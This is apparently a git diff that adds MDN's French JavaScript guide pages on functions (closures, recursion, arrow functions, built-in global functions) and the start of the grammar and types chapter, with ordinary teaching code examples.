-// Comme si tri de ['Hochberg', 'Hoenigswald', 'Holzman']:
-console.log(noms.sort(annuaireAllemand.compare).join(', '));
-// Affiche "Hochberg, Hönigswald, Holzman"
-
- -

Certains mots allemands se conjuguent avec des umlauts supplémentaires, de sorte que dans les dictionnaires, le fait d'ignorer les umlauts pour le tri  est perceptible (sauf lors du tri de mots ne différant que par des umlauts, comme schon avant schön).

- -
var dictionnaireAllemand = new Intl.Collator('de-DE-u-co-dict');
-
-// Comme si tri de ["Hochberg", "Honigswald", "Holzman"]:
-console.log(nom.sort(dictionnaireAllemand.compare).join(', '));
-// Affiche "Hochberg, Holzman, Hönigswald"
-
- -

Pour plus d'informations sur l'API {{jsxref("Intl")}}, voir aussi Introducing the JavaScript Internationalization API.

- -

{{PreviousNext("Web/JavaScript/Guide/Numbers_and_dates", "Web/JavaScript/Guide/Regular_Expressions")}}

diff --git a/files/fr/web/javascript/guide/functions/index.html b/files/fr/web/javascript/guide/functions/index.html new file mode 100644 index 0000000000..68c87566ff --- /dev/null +++ b/files/fr/web/javascript/guide/functions/index.html @@ -0,0 +1,670 @@ +--- +title: Fonctions +slug: Web/JavaScript/Guide/Fonctions +tags: + - Débutant + - Functions + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Functions +--- +

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}

+ +

Les fonctions font partie des briques fondamentales de JavaScript. Une fonction est une procédure JavaScript, un ensemble d'instructions effectuant une tâche ou calculant une valeur. Afin d'utiliser une fonction, il est nécessaire de l'avoir auparavant définie au sein de la portée dans laquelle on souhaite l'appeler.

+ +

On pourra également lire le chapitre de la référence JavaScript sur les fonctions pour étudier plus en détails ce concept

+ +

Définir des fonctions

+ +

Les déclarations de fonctions

+ +

Une définition de fonction (aussi appelée déclaration de fonction ou instruction de fonction) est construite avec le mot-clé function, suivi par :

+ +
    +
  • Le nom de la fonction.
    • +
  • Une liste d'arguments à passer à la fonction, entre parenthèses et séparés par des virgules.
    • +
  • Les instructions JavaScript définissant la fonction, entre accolades, { }.
    • +
+ +

Le code suivant, par exemple, définit une fonction intitulée carré :

+ +
function carré(nombre) {
+  return nombre * nombre;
+}
+
+ +

La fonction carré prend un seul argument, appelé nombre. La fonction est composée d'une seule instruction qui renvoie l'argument de la fonction (nombre) multiplié par lui-même. L'instruction return spécifie la valeur qui est renvoyée par la fonction.

+ +
return nombre * nombre;
+
+ +

Les paramètres primitifs (comme les nombres) sont passés à la fonction par valeur. La valeur est passée à la fonction mais si cette dernière change la valeur du paramètre, cela n'aura pas d'impact au niveau global ou au niveau de ce qui a appelé la fonction.

+ +

Si l'argument passé à la fonction est un objet (une valeur non-primitive, comme un objet {{jsxref("Array")}} ou un objet défini par l'utilisateur), et que la fonction change les propriétés de cet objet, ces changements seront visibles en dehors de la fonction. Par exemple :

+ +
function maFonction(monObjet) {
+  monObjet.fabricant = "Toyota";
+}
+
+var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
+var x, y;
+
+x = mavoiture.fabricant;     // x aura la valeur "Honda"
+
+maFonction(mavoiture);
+y = mavoiture.fabricant; // y aura la valeur "Toyota"
+                         // (la propriété fabricant a été modifiée par la fonction)
+
+ +
+

Note : Affecter un nouvel objet au paramètre n'aura pas d'effet en dehors de la fonction car cela revient à changer la valeur du paramètre plutôt que la valeur d'une des propriétés de l'objet. Par exemple :

+
+ +
function maFonction(monObjet) {
+  monObjet = {fabricant: "Ford", modèle: "Focus", année: 2006};
+}
+
+var mavoiture = {fabricant: "Honda", modèle: "Accord", année: 1998};
+var x, y;
+
+x = mavoiture.fabricant;     // x reçoit la valeur "Honda"
+
+maFonction(mavoiture);
+y = mavoiture.fabricant;     // y reçoit la valeur "Honda"
+
+ +

Dans le premier exemple, l'objet mavoiture était passé à la fonction maFonction qui le modifiait. Dans le second exemple, la fonction n'a pas modifié l'objet qui avait été passé en argument, elle a créé une nouvelle variable locale, possédant le même nom que l'objet global passé en argument : il n'y a donc pas de modifications sur cet objet global.

+ +

Les expressions de fonction

+ +

Syntaxiquement, la déclaration de fonction utilisée ci-dessus est une instruction. On peut également créer une fonction grâce à une expression de fonction. De telles fonctions peuvent être anonymes (ne pas avoir de nom correspondant). La fonction carré aurait pu être définie de la façon suivante :

+ +
var carré = function (nombre) { return nombre * nombre };
+var x = carré(4); //x reçoit la valeur 16
+ +

Cependant, un nom peut être utilisé dans une expression de fonction, ce afin de l'utiliser dans la fonction (récursivité) ou afin de l'identifier dans les appels tracés par un éventuel débogueur :

+ +
var factorielle = function fac(n) { return n < 2 ? 1 : n * fac(n - 1) };
+
+console.log(factorielle(3));
+
+ +

Les expressions de fonction sont pratiques lorsqu'il s'agit de passer une fonction comme argument d'une autre fonction. Dans l'exemple qui suit, la fonction map est définie et appelée avec une fonction anonyme comme premier argument :

+ +
function map(f, a) {
+  var resultat = []; // Créer un nouveau tableau Array
+  for (var i = 0; i != a.length; i++)
+    resultat[i] = f(a[i]);
+  return resultat;
+}
+
+ +

Le code suivant applique la fonction cube sur chacun des éléments du tableau :

+ +
var cube = function(x) { return x * x * x}; // Une expression de fonction
+map(cube, [0, 1, 2, 5, 10]);
+
+ +

Le résultat de la dernière instruction est le tableau [0, 1, 8, 125, 1000].

+ +

En JavaScript, une fonction peut être définie selon une condition. Le fragment de code qui suit définit une fonction seulement si num vaut 0 :

+ +
var maFonction;
+if (num === 0){
+  maFonction = function(monObjet) {
+    monObjet.fabricant = "Toyota"
+  }
+}
+ +

Une autre façon de définir des fonctions est d'utiliser le constructeur de l'objet {{jsxref("Function")}} afin de créer des fonctions à partir d'une chaîne lors de l'exécution, de la même façon que {{jsxref("Objets_globaux/eval", "eval()")}}.

+ +

Une méthode est une fonction étant une propriété d'un objet. Vous trouverez plus de détails sur ces éléments dans le chapitre suivant du guide : Utiliser les objets.

+ +

Appeler des fonctions

+ +

La seule définition d'une fonction ne permet pas d'exécuter la fonction. Cela permet de lui donner un nom et de définir ce qui doit être fait lorsque la fonction est appelée. Appeler la fonction permet d'effectuer les actions des instructions avec les paramètres indiqués. Par exemple, si on définit la fonction carré, on peut l'appeler de la façon suivante :

+ +
carré(5);
+
+ +

Cette instruction appellera la fonction avec un argument valant 5. La fonction exécute ses instructions et renvoie la valeur 25.

+ +

Les fonctions doivent appartenir à la portée dans laquelle elles sont appelées. En revanche, la déclaration d'une fonction peut être faite après l'appel :

+ +
console.log(carré(5));
+/* ... */
+function carré(n) { return n*n }
+
+ +

La portée d'une fonction est la fonction dans laquelle elle est déclarée ou le programme entier si elle est déclarée au niveau le plus haut.

+ +
+

Note : Cela ne fonctionne que si la définition de la fonction utilise la syntaxe précédente (function nomFonction(){}). Le code ci-dessous ne fonctionnera pas :

+
+ +
console.log(carré); // La fonction carré est remontée/hoisted mais vaut undefined
+console.log(carré(5)); // TypeError: carré is not a function
+var carré = function (n) {
+  return n * n;
+}
+
+// Et avec let...
+
+console.log(carré2); // ReferenceError: carré2 is not defined
+console.log(carré2(5)); // TypeError: carré2 is not a function
+
+let carré2 = function (n) {
+  return n * n;
+}
+
+ +

Les arguments d'une fonction ne sont pas limités aux chaînes de caractères et aux nombres. Il est possible de passer des objets. La fonction show_props (définie dans le chapitre sur l'utilisation des objets) est un exemple de fonction utilisant un argument qui est un objet.

+ +

Une fonction peut être récursive, c'est-à-dire qu'elle peut s'appeler elle-même. Voici la fonction qui calcule récursivement la factorielle d'un nombre :

+ +
function factorielle(n){
+  if ((n === 0) || (n === 1))
+    return 1;
+  else
+    return (n * factorielle(n - 1));
+}
+
+ +

On peut ensuite calculer les factorielles des nombres 1 à 5 :

+ +
var a, b, c, d, e;
+a = factorielle(1); // a reçoit la valeur 1
+b = factorielle(2); // b reçoit la valeur 2
+c = factorielle(3); // c reçoit la valeur 6
+d = factorielle(4); // d reçoit la valeur 24
+e = factorielle(5); // e reçoit la valeur 120
+
+ +

Il existe d'autres façons d'appeler des fonctions. Il existe souvent des cas où une fonction doit être appelée dynamiquement, où le nombre d'arguments peut varier, où le contexte de l'appel d'une fonction doit être créé en fonction d'un objet déterminé lors de l'exécution. Les fonctions sont des objets, en tant que tels, elles possèdent des méthodes (voir la page sur l'objet {{jsxref("Function")}}). L'une d'entre elles, {{jsxref("Function.apply","apply()")}} peut être utilisée pour réaliser le dernier cas de figure (exécution d'une fonction avec un objet déterminé à l'exécution).

+ +

Portée d'une fonction

+ +

On ne peut pas accéder aux variables définies dans une fonction en dehors de cette fonction : ces variables n'existent que dans la portée de la fonction. En revanche, une fonction peut accéder aux différentes variables et fonctions qui appartiennent à la portée dans laquelle elle est définie. Une fonction définie dans une autre fonction peut également accéder à toutes les variables de la fonction « parente » et à toute autre variable accessible depuis la fonction « parente ».

+ +
// Les variables suivantes sont globales
+var num1 = 20,
+    num2 = 3,
+    nom = "Licorne";
+
+// Cette fonction est définie dans la portée globale
+function multiplier() {
+  return num1 * num2;
+}
+
+multiplier(); // Renvoie 60
+
+// Un exemple de fonction imbriquée
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function ajoute() {
+    return nom + " a marqué " + (num1 + num2);
+  }
+
+  return ajoute();
+}
+
+getScore(); // Renvoie "Licorne a marqué 5"
+
+ +

Portée et pile de fonctions

+ +

La récursivité

+ +

Une fonction peut faire référence à elle-même et s'appeler elle-même. Il existe trois moyens pour qu'une fonction fasse référence à elle-même :

+ +
    +
  1. Le nom de la fonction
    2. +
  2. arguments.callee
    3. +
  3. Une variable de la portée qui fait référence à la fonction
    4. +
+ +

Par exemple, avec la définition de fonction suivante :

+ +
var toto = function truc() {
+   // les instructions de la fonction
+};
+ +

Dans le corps de la fonction, ces trois éléments seront équivalents :

+ +
    +
  1. truc()
    2. +
  2. arguments.callee()
    3. +
  3. toto()
    4. +
+ +

Une fonction qui s'appelle elle-même est appelée une fonction récursive. Sous certains aspects, une récursion est semblable à une boucle : toutes les deux exécutent le même code plusieurs fois et toutes les deux requièrent une condition d'arrêt (pour éviter une boucle ou une récursion infinie). Par exemple, ce fragment de code utilisant une boucle :

+ +
var x = 0;
+while (x < 10) { // "x < 10" représente la condition d'arrêt
+  // faire quelque chose
+  x++;
+}
+ +

pourra être converti en une fonction récursive de la façon suivante :

+ +
function boucle(x) {
+  if (x >= 10) // "x >= 10" représente la condition d'arrêt (équivalent à "!(x < 10)")
+    return;
+  // faire quelque chose
+  boucle(x + 1); // l'appel récursif
+}
+boucle(0);
+ +

Malgré cela, certains algorithmes ne peuvent pas être convertis en boucles itératives. Ainsi, récupérer l'ensemble des nœuds d'un arbre (le DOM par exemple) se fait plus simplement en utilisant la récursivité :

+ +
function parcourirArbre(noeud) {
+  if (noeud === null) //
+    return;
+  // faire quelque chose avec le noeud
+  for (var i = 0; i < noeud.childNodes.length; i++) {
+    parcourirArbre(noeud.childNodes[i]);
+  }
+}
+ +

Contrairement à l'exemple précédent avec la fonction boucle, ici, chaque appel récursif entraîne lui-même plusieurs appels (et non un seul).

+ +

Théoriquement, il est possible de convertir tout algorithme récursif en un algorithme non récursif (avec des boucles par exemple). Généralement, la logique obtenue est plus complexe et nécessite l'utilisation d'une pile. La récursivité utilise également une pile, la pile de fonction.

+ +

Ce type de « comportement » peut-être observé avec l'exemple suivant :

+ +
function toto(i) {
+  if (i < 0)
+    return;
+  console.log('début : ' + i);
+  toto(i - 1);
+  console.log('fin : ' + i);
+}
+toto(3);
+ +

qui affichera :

+ +
début : 3
+début : 2
+début : 1
+début : 0
+fin : 0
+fin : 1
+fin : 2
+fin : 3
+ +

Fonctions imbriquées et fermetures

+ +

Il est possible d'imbriquer une fonction dans une autre fonction. La portée de la fonction fille (celle qui est imbriquée) n'est pas contenue dans la portée de la fonction parente. En revanche, la fonction fille bénéficie bien des informations de la fonction parente grâce à sa portée. On a ce qu'on appelle une fermeture (closure en anglais). Une fermeture est une expression (généralement une fonction) qui accède à des variables libres ainsi qu'à un environnement qui lie ces variables (ce qui « ferme » l'expression).

+ +

Une fonction imbriquée étant une fermeture, cela signifie qu'une fonction imbriquée peut en quelque sorte hériter des arguments et des variables de la fonction parente.

+ +

En résumé :

+ +
    +
  • La fonction imbriquée ne peut être utilisée qu'à partir des instructions de la fonction parente.
    • +
+ +
    +
  • La fonction imbriquée forme une fermeture : elle peut utiliser les arguments et les variables de la fonction parente. En revanche, la fonction parente ne peut pas utiliser les arguments et les variables de la fonction fille.
    • +
+ +
+

Note : Sur les fermetures, voir également l'article à ce sujet.

+
+ +

L'exemple qui suit illustre l'imbrication de fonctions :

+ +
function ajouteCarrés(a, b) {
+  function carré(x) {
+    return x * x;
+  }
+  return carré(a) + carré(b);
+}
+a = ajouteCarrés(2,3); // renvoie 13
+b = ajouteCarrés(3,4); // renvoie 25
+c = ajouteCarrés(4,5); // renvoie 41
+ +

La fonction interne étant une fermeture, on peut appeler la fonction parente afin de définir les arguments pour la fonction englobante et ceux de la fonction fille :

+ +
function parente(x) {
+  function fille(y) {
+    return x + y;
+  }
+  return fille;
+}
+fn_fille = parente(3); // Fournit une fonction qui ajoute 3 à ce qu'on lui donnera
+résultat = fn_fille(5); // renvoie 8
+
+résultat1 = parente(3)(5); // renvoie 8
+ +

Préservation des variables

+ +

Dans l'exemple précédent, x a été « préservé » lorsque la fonction fille a été renvoyée. Une fermeture conserve les arguments et les variables de chaque portée qu'elle référence. Chaque appel à la fonction parente pouvant fournir un contexte différents selon les arguments, cela entraînera la création d'une nouvelle fermeture. La mémoire associée ne pourra être libérée que lorsque la fonction fille ne sera plus accessible.

+ +

Ce mode de fonctionnement n'est pas différent de celui des références vers les objets. Cependant, il est souvent plus compliqué à détecter car les références ne sont pas définies explicitement dans le code et car il n'est pas possible de les inspecter.

+ +

Imbriquer plusieurs fonctions

+ +

Il est possible d'imbriquer des fonctions sur plus de deux niveaux, par exemple, on peut avoir une fonction A qui contient une fonction B qui contient une fonction C. Les fonctions B et C sont des fermetures et B peut accéder à la portée de A, C peut accéder à la portée de B. Ainsi, C accède à la portée de B qui lui accède à la portée de A, C accède donc à la portée de A (transitivité). Les fermetures peuvent donc contenir plusieurs portées, c'est ce qu'on appelle le chaînage de portées.

+ +

Par exemple :

+ +
function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // affichera 6 (1 + 2 + 3)
+ +

Dans cet exemple C accède au y de B et au x de A. Ceci est rendu possible car :

+ +
    +
  1. B est une fermeture qui contient A, autrement dit B peut accéder aux arguments et aux variables de A.
    2. +
  2. C est une fermeture qui contient B.
    3. +
  3. La fermeture de B contient A donc la fermeture de C contient A, C peut ainsi accéder aux arguments et aux variables de B et A. On dit que C chaîne les portées de B et de A (dans cet ordre).
    4. +
+ +

La réciproque n'est pas vraie. A ne peut pas accéder à C, car A ne peut pas accéder aux arguments ou aux variables de B, or C est une variable de B. De cette façon, C reste privée en dehors de B.

+ +

Conflits de nommage

+ +

Lorsque deux arguments ou variables des portées d'une fermeture ont le même nom, il y a un conflit de noms. Dans ces cas, ce sera la portée la plus imbriquée qui prendra la priorité sur le nom, la portée la plus « externe » aura la priorité la plus faible pour les noms de variables. Du point de vue de la chaîne des portées, la première portée sur la chaîne est la portée la plus imbriquée et la dernière est la portée située le plus à l'extérieur :

+ +
function externe() {
+  var x = 10;
+  function interne(x) {
+    return x;
+  }
+  return interne;
+}
+résultat = externe()(20); // renvoie 20 et pas 10
+ +

Le conflit se produit à l'instruction return x entre le paramètre x de la fonction interne et la variable x de la fonction externe. La chaîne de portée est ici {interne, externe, objet global}. Ainsi, le paramètre x de interne a la priorité sur la variable x de la fonction externe, le résultat obtenu est donc 20 et non 10.

+ +

Fermetures (closures)

+ +

Les fermetures sont l'une des fonctionnalités les plus intéressantes de JavaScript. Comme on l'a vu précédemment, JavaScript permet d'imbriquer des fonctions et la fonction interne aura accès aux variables et paramètres de la fonction parente. À l'inverse, la fonction parente ne pourra pas accéder aux variables liées à la fonction interne. Cela fournit une certaine sécurité pour les variables de la fonction interne. De plus, si la fonction interne peut exister plus longtemps que la fonction parente, les variables et fonctions de la fonction parente pourront exister au travers de la fonction interne. On crée une fermeture lorsque la fonction interne est disponible en dehors de la fonction parente.

+ +
var animal = function(nom) {   // La fonction externe utilise un paramètre "nom"
+  var getNom = function () {
+    return nom;                // La fonction interne accède à la variable "nom" de la fonction externe
+  }
+  return getNom;               // Renvoie la fonction interne pour la rendre disponible en dehors de la portée de la fonction parente
+}
+
+monAnimal = animal("Licorne");
+
+monAnimal();                   // Renvoie "Licorne"
+ +

Bien entendu, dans la pratique, les cas peuvent être plus complexes. On peut renvoyer un objet qui contient des méthodes manipulant les variables internes de la fonction parente.

+ +
var créerAnimal  = function (nom) {
+  var sexe;
+
+  return {
+    setNom: function(nouveauNom) {
+      nom = nouveauNom;
+    },
+
+    getNom: function () {
+      return nom;
+    },
+
+    getSexe: function () {
+      return sexe;
+    },
+
+    setSexe: function(nouveauSexe) {
+      if (typeof nouveauSexe == "string" && (nouveauSexe.toLowerCase() == "mâle" || nouveauSexe.toLowerCase() == "femelle")) {
+        sexe = nouveauSexe;
+      }
+    }
+  }
+}
+
+var animal = créerAnimal("Licorne");
+animal.getNom();        // Licorne
+
+animal.setNom("Bobby");
+animal.setSexe("mâle");
+animal.getSexe();       // mâle
+animal.getNom();        // Bobby
+ +

Dans le code précédent, la variable nom est de la fonction externe est accessible depuis les fonctions internes. Il est impossible d'accéder aux variables internes en dehors des fonctions internes. Les variables internes agissent comme des coffres-forts pour les fonctions internes. Elles permettent d'avoir un accès persistent et encapsulé aux données internes. Pour les fonctions, il n'est pas nécessaire de les affecter à une variable ou même de les nommer.

+ +
var getCode = (function (){
+  var codeAPI = "0]Eal(eh&2";    // Un code qu'on ne souhaite pas diffuser ni modifier
+
+  return function () {
+    return codeAPI;
+  };
+})();
+
+getCode();    // Renvoie la valeur du code
+ +

Il y a malgré tout quelques pièges auxquels il faut faire attention lorsqu'on utilise les fermetures. Si une fonction imbriquée définit une variable avec le même nom que le nom d'une variable de la portée externe, il n'y aura plus aucun moyen d'accéder à la variable.

+ +
var créerAnimal = function(nom) {  // La fonction externe définit une variable appelée "nom"
+  return {
+    setNom: function(nom) {    // La fonction imbriquée définit une variable appelée "nom"
+      nom = nom;               // ??? comment accéder à la variable "nom" définie par la fonction externe
+    }
+  }
+}
+ +

L'opérateur this doit être traité avec précaution dans les fermetures. Attention, this fait référence au contexte où la fonction est appelée et non à l'endroit où il est défini.

+ +

Utiliser l'objet arguments

+ +

Les arguments d'une fonction sont maintenus dans un objet semblable à un tableau. Dans une fonction, il est possible d'utiliser les arguments passés à la fonction de la façon suivante :

+ +
arguments[i]
+ +

où i représente l'index ordinal de l'argument (le premier argument ayant un indice à 0). On accède donc au premier argument avec arguments[0]. Le nombre total d'arguments est fourni grâce à arguments.length.

+ +

En utilisant l'objet arguments, il est possible de recenser les arguments supplémentaires fournis à la fonction si jamais il y a plus d'arguments fournis que requis. Cet objet est souvent utile si on ne connaît pas le nombre d'arguments passés à la fonction. La propriété arguments.length permet de déterminer le nombre d'arguments réellement passés à la fonction. On peut donc ensuite accéder aux différents arguments en parcourant l'objet arguments.

+ +

Par exemple, on peut construire une fonction qui concatène plusieurs chaînes. Le seul argument formellement défini sera la chaîne utilisée pour concaténer les différentes chaînes. On peut définir la fonction de la façon suivante :

+ +
function monConcat(séparateur) {
+   var result = ""; // on initialise la liste
+   var i;
+   // on parcourt les arguments
+   for (i = 1; i < arguments.length; i++) {
+      result += arguments[i] + séparateur;
+   }
+   return result;
+}
+ +

On peut passer autant d'arguments que nécessaire à cette fonction. Ils seront tous concaténés dans une chaîne finale. Ainsi, on aura :

+ +
// renverra "rouge, orange, bleu, "
+monConcat(", ", "red", "orange", "blue");
+
+// renverra "éléphant; girafe; lion; singe; "
+monConcat("; ", "éléphant", "girafe", "lion", "singe");
+
+// renverra "sauge. basilic. origan. poivre. échalotte. "
+monConcat(". ", "sauge", "basilic", "origan", "poivre", "échalotte");
+ +
+

Note : arguments est une variable « semblable » à un tableau. Mais ce n'est pas un tableau au sens strict. En effet, il possède un index numéroté ainsi qu'une propriété length. En revanche, il ne possède pas les méthodes classiques de manipulation des tableaux (Array).

+
+ +

Voir la page sur l'objet {{jsxref("Function")}} dans la référence JavaScript pour plus d'informations.

+ +

Paramètres des fonctions

+ +

À partir d'ECMAScript 2015, deux sortes de paramètres sont introduites : les paramètres par défaut et les paramètres du reste.

+ +

Les paramètres par défaut

+ +

En JavaScript, par défaut, les paramètres des fonctions vaudront undefined. Il peut toutefois être utile de définir une valeur par défaut différente. Les paramètres par défaut permettent de répondre à ce besoin.

+ +

Avant ECMAScript 2015, la stratégie pour manipuler des valeurs par défaut adaptées était de tester si la valeur du paramètre était indéfinie puis de lui affecter la valeur souhaitée si c'était le cas. Par exemple, dans le code qui suit, on ne fournit pas de valeur pour b dans l'appel, la valeur sera undefined lors de l'évaluation de a*b et l'appel à multiplier aurait renvoyé NaN. Pour éviter ça, la deuxième ligne définit une valeur par défaut au cas où b n'est pas renseigné :

+ +
function multiplier(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a*b;
+}
+
+multiplier(5); // 5
+
+ +

Si on peut utiliser les paramètres par défaut, il n'est plus nécessaire de faire l'opération à l'intérieur du corps de la fonction, il suffit de déclarer que la valeur par défaut pour b est 1 dans la signature de la fonction :

+ +
function multiplier(a, b = 1) {
+  return a*b;
+}
+
+multiplier(5); // 5
+ +

Pour plus de détails, voir la page sur les paramètres par défaut dans la référence.

+ +

Les paramètres du reste

+ +

La syntaxe des paramètres du reste permet de représenter un nombre indéfini d'arguments contenus dans un tableau. Dans l'exemple suivant, on utilise les paramètres du reste pour collecter les arguments à partir du deuxième et jusqu'au dernier. Ces arguments sont multipliés par le premier. Dans cet exemple, on utilise une fonction fléchée, concept qui est présenté et illustré dans la section qui suit.

+ +
function multiplier(facteur, ...lesArgs) {
+  return lesArgs.map(x => facteur * x);
+}
+
+var arr = multiplier(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+ +

Fonctions fléchées

+ +

Une expression de fonction fléchée permet d'utiliser une syntaxe plus concise que les expressions de fonctions classiques. Une telle fonction ne possède alors pas de valeur propre pour this, arguments, super ou new.target. Les fonctions fléchées sont nécessairement anonymes.

+ +

Les fonctions fléchées ont été introduites pour deux raisons principales : une syntaxe plus courte et l'absence de this rattaché à la fonction. Voir aussi ce billet sur tech.mozfr.org sur les fonctions fléchées.

+ +

 

+ +

 

+ +

Concision de la syntaxe

+ +

Dans certaines constructions fonctionnelles, on peut apprécier une syntaxe courte. Par exemple, si on compare les deux dernières lignes de ce fragment de code :

+ +
var a = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+console.log(a2); // affiche [8, 6, 7, 9]
+var a3 = a.map( s => s.length );
+console.log(a3); // affiche [8, 6, 7, 9]
+ +

Pas de this distinct

+ +

Avant les fonctions fléchées, chaque nouvelle fonction définissait sa propre valeur this (un nouvel objet dans le cas d'un constructeur, undefined lors des appels en mode strict, l'objet courant dans le cas d'une méthode, etc.). Cela pouvait poser quelques problèmes avec un style de programmation orienté objet.

+ +
function Personne() {
+  // Le constructeur Personne() utilise `this` comme lui-même.
+  this.âge = 0;
+
+  setInterval(function grandir() {
+    // En mode non-strict, la fonction grandir() définit `this`
+    // avec l'objet global, qui est donc différent du `this`
+    // défini par le constructeur Person().
+    this.âge++;
+  }, 1000);
+}
+
+var p = new Personne();
+ +

Avec ECMAScript 3/5, ce problème fut résolu avec l'affectation de la valeur de this dans une variable a variable that could be closed over.

+ +
function Personne() {
+  var self = this; // Certains utilisent `that`, d'autres `self`.
+                   // On utilisera l'un des deux et on pas
+                   // l'autre pour être cohérent.
+  self.âge = 0;
+
+  setInterval(function grandir() {
+    // La fonction callback fait référence à la variable `self`
+    // qui est bien la valeur attendue liée à l'objet.
+    self.âge++;
+  }, 1000);
+}
+ +

On aurait aussi pu créer une fonction liée afin que la « bonne » valeur de this soit passée à la fonction grandir().

+ +

Les fonctions fléchées capturent la valeur de this dans le contexte englobant et cela permet de manipuler la valeur pertinente ici :

+ +
function Personne(){
+  this.âge = 0;
+
+  setInterval(() => {
+    this.âge++; // this fait référence à l'objet personne
+  }, 1000);
+}
+
+var p = new Personne();
+ +

Fonctions prédéfinies

+ +

JavaScript possède plusieurs fonctions natives, disponibles au plus haut niveau :

+ +
+
{{jsxref("Objets_globaux/eval","eval()")}}
+
+

La fonction eval() permet d'évaluer du code JavaScript contenu dans une chaîne de caractères.

+
+
{{jsxref("Objets_globaux/uneval","uneval()")}} {{non-standard_inline}}
+
+

La fonction uneval() crée une représentation sous la forme d'une chaîne de caractères pour le code source d'un objet.

+
+
{{jsxref("Objets_globaux/isFinite","isFinite()")}}
+
+

La fonction isFinite() détermine si la valeur passée est un nombre fini. Si nécessaire, le paramètre sera converti en un nombre.

+
+
{{jsxref("Objets_globaux/isNaN","isNaN()")}}
+
+

La fonction isNaN() détermine si une valeur est {{jsxref("NaN")}} ou non. Note : On pourra également utiliser {{jsxref("Number.isNaN()")}} défini avec ECMAScript 6 ou utiliser typeof afin de déterminer si la valeur est Not-A-Number.

+
+
{{jsxref("Objets_globaux/parseFloat","parseFloat()")}}
+
+

La fonction parseFloat() convertit une chaîne de caractères en un nombre flottant.

+
+
{{jsxref("Objets_globaux/parseInt","parseInt()")}}
+
+

La fonction parseInt() convertit une chaîne de caractères et renvoie un entier dans la base donnée.

+
+
{{jsxref("Objets_globaux/decodeURI","decodeURI()")}}
+
+

La fonction decodeURI() décode un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou une méthode similaire.

+
+
{{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}
+
+

La fonction decodeURIComponent() décode un composant d'un Uniform Resource Identifier (URI) créé par {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent")}} ou une méthode similaire.

+
+
{{jsxref("Objets_globaux/encodeURI","encodeURI()")}}
+
+

La fonction encodeURI() encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).

+
+
{{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}}
+
+

La fonction encodeURIComponent() encode un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par un, deux, trois voire quatre séquences d'échappement représentant l'encodage UTF-8 du caractères (quatre séquences seront utilisées uniquement lorsque le caractère est composé d'une paire de deux demi-codets).

+
+
{{jsxref("Objets_globaux/escape","escape()")}} {{deprecated_inline}}
+
+

La fonction dépréciée escape() calcule une nouvelle chaîne de caractères pour laquelle certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Les fonctions {{jsxref("Objets_globaux/encodeURI","encodeURI()")}} ou {{jsxref("Objets_globaux/encodeURIComponent","encodeURIComponent()")}} doivent être utilisées à la place.

+
+
{{jsxref("Objets_globaux/unescape","unescape()")}} {{deprecated_inline}}
+
+

La fonction dépréciée unescape() calcule une nouvelle chaîne de caractères pour laquelle les séquences d'échappement hexadécimales sont remplacées par les caractères qu'elles représentent. Les séquences d'échappement introduites peuvent provenir d'une fonction telle que {{jsxref("Objets_globaux/escape","escape()")}}. unescape est dépréciée et doit être remplacée par {{jsxref("Objets_globaux/decodeURI","decodeURI()")}} ou {{jsxref("Objets_globaux/decodeURIComponent","decodeURIComponent()")}}.

+
+
+ +

{{PreviousNext("Web/JavaScript/Guide/Boucles_et_it%C3%A9ration", "Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs")}}

diff --git a/files/fr/web/javascript/guide/grammar_and_types/index.html b/files/fr/web/javascript/guide/grammar_and_types/index.html new file mode 100644 index 0000000000..e2c51c9cc3 --- /dev/null +++ b/files/fr/web/javascript/guide/grammar_and_types/index.html @@ -0,0 +1,709 @@ +--- +title: Types et grammaire +slug: Web/JavaScript/Guide/Types_et_grammaire +tags: + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +
 {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Contrôle_du_flux_Gestion_des_erreurs")}}
+ +

Ce chapitre décrit les bases de la grammaire et des types de données JavaScript.

+ +

Les bases du langage

+ +

JavaScript emprunte la plupart des éléments de sa syntaxe à Java, C et C++ mais sa syntaxe est également influencée par Awk, Perl et Python.

+ +

JavaScript est sensible à la casse et utilise l'ensemble de caractères Unicode. On pourrait donc tout à fait utiliser le mot früh comme nom de variable :

+ +
var früh = "toto";
+typeof Früh; // undefined car JavaScript est sensible à la casse
+
+ +

En JavaScript, les instructions sont appelées ({{Glossary("Statement", "statements")}}) et sont séparées par des points-virgules.

+ +

Il n'est pas nécessaire d'inclure un point-virgule si l'on écrit une instruction sur une nouvelle ligne. Mais si vous voulez écrire plus d'une déclaration sur une seule ligne, alors elles doivent être séparées par un point-virgule. Ceci étant dit, la bonne pratique est d'inclure un point-virgule après chaque instruction. Les espaces, les tabulations et les caractères de nouvelles lignes sont considérés comme des blancs. Il existe aussi un ensemble de règles pour ajouter automatiquement des points-virgules à la fin des instructions (ASI pour Automatic Semicolon Insertion). Cependant, il est conseillé de toujours ajouter des points-virgules à la fin des instructions afin d'éviter des effets de bord néfastes.

+ +

